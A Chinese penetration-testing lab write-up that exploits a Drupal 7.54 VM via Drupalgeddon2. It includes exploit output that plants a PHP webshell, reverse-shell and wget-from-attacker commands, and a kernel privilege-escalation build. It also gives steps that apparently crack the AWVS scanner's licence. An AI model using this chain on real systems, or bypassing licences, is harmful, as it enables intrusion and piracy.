特别注明：本文章只用于学习交流，不可用来从事违法犯罪活动，如使用者用来从事违法犯罪行为，一切与作者无关。

---

前言

前言：

我们上个笔记是常规收集可用信息，爆破拿到ssh账户提权得到root的shell

这次我们用框架来尝试两种不同方法拿到shell

思路清晰，先说步骤

1.信息收集得到可以用的站点漏洞

2.通过AWVS+xray或xray和bs解析出目录报告，得到我们能利用exp或poc，当然因为AWVS爬虫功能并不免费，所以最好联动，也可以和其他工具联动，思想是自动化的思想，得到可以利用的框架漏洞。

3.得到可以用的poc或exp直接利用提权，如果又cve更好。

---

一、环境重新部署

前面我们从robots.txt拿到的框架搜索一下

drupal 7.54

谷歌老师

我们把靶机移到和我windows一样的网段，我用kali扫描他
靶机ip
192.168.198.135

---

二、AWVS+xray联动和xray+bs联动

1.安装AWVS+xray

点这个安装

无脑下一步就好了

复制wvsc.exe到“C:\Program Files (x86)\Acunetix\13.0.200205121\”下覆盖同名文件
（这里的路径是自己awvs选择的下载安装路径）

把认证文件替换了
复制license_info.json到“C:\ProgramData\Acunetix\shared\license”下覆盖同名文件
（这个的路径都一样）

直接运行
安装xray

解压、运行acunetix_13.0.200205121.exe安装

2.让xray和bs先联动

先了解一下xray命令
如果想要进行单个网页简单的扫描

.\xray_windows_amd64.exe webscan --url http://192.168.198.135:1898/ --html-output single-url.html

因为如果我们想要单个界面逐个测试,同时验证漏洞是否可执行,那么就需要 BS作为中间人,把数据传到 Xray , 我们就可以根据 Xray 给的漏洞提示结合 BS 进行漏洞可行性测试

打开 BS , 设置代理,此操作是为了向 Xray 传输数据

接着我们向 Xray 设置监听,用来接收BS收到的数据

.\xray_windows_amd64.exe webscan --listen 127.0.0.1:7777 --html-output test.html

我们下载bs做中间人攻击代理，把包转发给xray
我们发数据包过去

xray跑出来了很多信息

我们目前是网页—》bs—》xray
我们还需要和AWVS和xray联动

3.AWVS和xray联动

如果我想利用社区版 Xray 进行爬虫爆破子域名或者各种文件后缀,不好意思,这些功能得付费才能使用
但是我们又知道 AWVS 的爬虫功能又很厉害,那么我们能不能将二者结合起来呢？

打开 AWVS
默认进入网站是 127.0.0.1:3443 ,前提是你没有修改端口
添加一个target

点击save

为 AWVS 设置代理

上一步点击代理后,就会跳到另一个界面

划到底部就会看见 HTTP

点击 Proxy Server 就会展开

先点save，再点scan

如果没有特殊要求点击 Create Scan 即可
联动了

三、poc利用

通过AWVS+xray跑出了

poc：poc-yaml-drupal-cve-2018-7600-rce

那么Xray是给出了两篇poc的文章：
https://github.com/dreadlocked/Drupalgeddon2
https://paper.seebug.org/567/

用法:

wget clone https://github.com/dreadlocked/Drupalgeddon2.git

./drupalgeddon2.rb http://192.168.198.135:1898/

报错了
要安装模块

sudo gem install highline

通过poc发现对方是7.x的drupal版本漏洞，通过base64方法上传shell.php成功获得shell

上传一句话木马 连马

[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://192.168.198.135:1898/
--------------------------------------------------------------------------------
[+] Found  : http://192.168.198.135:1898/CHANGELOG.txt    (HTTP Response: 200)
[+] Drupal!: v7.54
--------------------------------------------------------------------------------
[*] Testing: Form   (user/password)
[+] Result : Form valid
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
[*] Testing: Clean URLs
[!] Result : Clean URLs disabled (HTTP Response: 404)
[i] Isn't an issue for Drupal v7.x
--------------------------------------------------------------------------------
[*] Testing: Code Execution   (Method: name)
[i] Payload: echo IXTDUTSD
[+] Result : IXTDUTSD
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: Existing file   (http://192.168.198.135:1898/shell.php)
[i] Response: HTTP 404 // Size: 5
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
[*] Testing: Writing To Web Root   (./)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee shell.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
--------------------------------------------------------------------------------
[i] Fake PHP shell:   curl 'http://192.168.198.135:1898/shell.php' -d 'c=hostname'

然后该shell是无法执行g++命令的

我将python进行反弹shell到本地nc交互：

kali开启nc监听

nc -vlp 6666

靶机有python执行远控，主动连接

这里的python 的socket远控代码大家私信我，我直接发出来不太好。。。。

反弹shell
bash的shell

python -c 'import pty; pty.spawn("/bin/bash")'

kali网页开启http

靶机wget

wget http://192.168.198.133:8000/40847.cpp

提权

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o 40847 40847.cpp -lutil

flag

四、msf的cve利用（姿势3）

这个姿势我们用框架的cve渗透靶机
查看要配置的参数

run攻击playload

这里提权步骤有些问题

因为wget在这里用不了，我们可以用其他方式上传文件

这是一个伪shell
不会回显信息
我们要获取tty

python -c 'import pty; pty.spawn("/bin/bash")'

尝试提权

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o muma 40847.cpp -lutil

提权不了，这里是因为主动连接的问题，还是需要让靶机主动连接我们

远控木马不能发，私信我，谅解一下

nc连接

提权

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o 40847 40847.cpp -lutil

flag

---

总结

上面就是对于框架渗透的wp了，希望大家能学到这个方法论，喜欢的可以点个赞。
特别注明：本文章只用于学习交流，不可用来从事违法犯罪活动，如使用者用来从事违法犯罪行为，一切与作者无关。